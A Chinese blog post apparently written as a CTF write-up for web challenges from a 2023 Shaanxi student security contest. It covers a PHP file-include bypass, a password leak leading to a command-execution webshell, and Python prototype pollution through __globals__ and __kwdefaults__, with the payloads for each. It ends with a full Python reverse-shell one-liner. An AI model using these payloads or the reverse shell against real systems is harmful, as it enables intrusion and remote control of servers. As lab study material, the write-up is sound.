Z1d10tのBlog

A note for myself,have fun!

2023年 第三届陕西省大学生网络安全技能大赛(高职院校组)

Z1d10t's Avatar 2023-06-10 各赛事WP

  1. 1. easyrce
  2. 2. mua
  3. 3. PPP
  4. 4. pyweb

2023年 第三届陕西省大学生网络安全技能大赛(高职院校组)web复现

easyrce

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);

if (!empty($_GET['PK'])){
$PK = $_GET['PK'];
if(blacklistFilter($_SERVER["QUERY_STRING"])){
include $PK;
}else{
highlight_file(__FILE__);
}
}

function blacklistFilter($arg) {
$blacklist = array('[', ']', ';', '?', '@', '(', ')', 'exec', 'eval', '$', 'phpinfo', 'flag', 'data', 'filter', '#');
$filteredInput = str_replace($blacklist, '', $arg);
return $filteredInput;
}

这几乎该waf的全waf

直接用file://协议读就行了 再来好好看看这个协议;

img

tql

mua

这题太抽象了!!

1
2
3
4
5
6
7
8
9
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET[\'cmd\'])<9){ @system($_GET[\'cmd\']); } } ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
?>

发现给了源码 但是这个md5根本就不让人解出来

查看robots.txt 发现/substr_pass.php

获得hint ?a=xx&b=xx

传参?a=0&b=1 不同数字时会给我们pass内容

当b=3 a为其他数字 可以爆出pass的内容 这里需要写一个脚本完成

1
2
3
4
5
6
7
import requests
url = 'http://b36384f5.clsadp.com/substr_pass.php'
result = []
for i in range(100):
payload = {"a":"{}".format(i),"b":3}
r = requests.get(url=url,params=payload)
print(r.text)

img

pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善 妈的 太抽象了

payload:shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=cat /h*

PPP

这是一道python的原型链污染 之前没见过 但是跟nodejs的原型链污染大同小异 python原型链具体分析之后会补上 现在实在没时间 直接狂看 这篇文章 md源码是从这里偷的八https://tttang.com/archive/1876/

给了附件源码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:

print(__import__("os").popen(arg_1).read())

class Family:
def __init__(self):
pass

family = Family()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data: //其实就是post传参
merge(json.loads(request.data), family)
evilFunc("whoami")
return "fun"

@app.route('/eval',methods=['GET'])
def eval():
if request.args.get('cmd'):
cmd = request.args.get('cmd')
evilFunc(cmd)
return "ok"


app.run(host="0.0.0.0",port= 3000,debug=False)

可以发现有 /和/eavl

看到了老熟人 merge()

python原型链污染的重要代码就是这部分

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

达到的效果和nodejs中的差不多

在/eval路由中 我们将get获取到的值传给evilFunc(cmd)

1
2
3
4
5
6
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:

print(__import__("os").popen(arg_1).read())

但前提是 这个shell参数为为true 也是就为1也就是 if not shell这个判断语句为假

可以看到这个函数被创建时已经默认复制给shell = False 也就是0的效果 如果我们可以原型链污染 将默认值设置为shell = 1 那么就可以命令执行了

__kwdefaults__ 是 Python 中函数对象的一个特殊属性,用于获取函数的关键字参数的默认值。

evilFunc()属于全局函数要用__globals__

payload如下

img

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : 1
}
}
}
}
}

或者是

1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__defaults__" : (
True ,
)
}
}
}
}

然后在/下打入

再到/eval路由下反弹shell即可

这里反弹shell的时候当时用了bash试了好多次没有成功 因为是复现 估计是靶场问题 但是用python反弹就可以成功 payload如下

1
cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

pyweb

放过自己

本文最后更新于 天前,文中所描述的信息可能已发生改变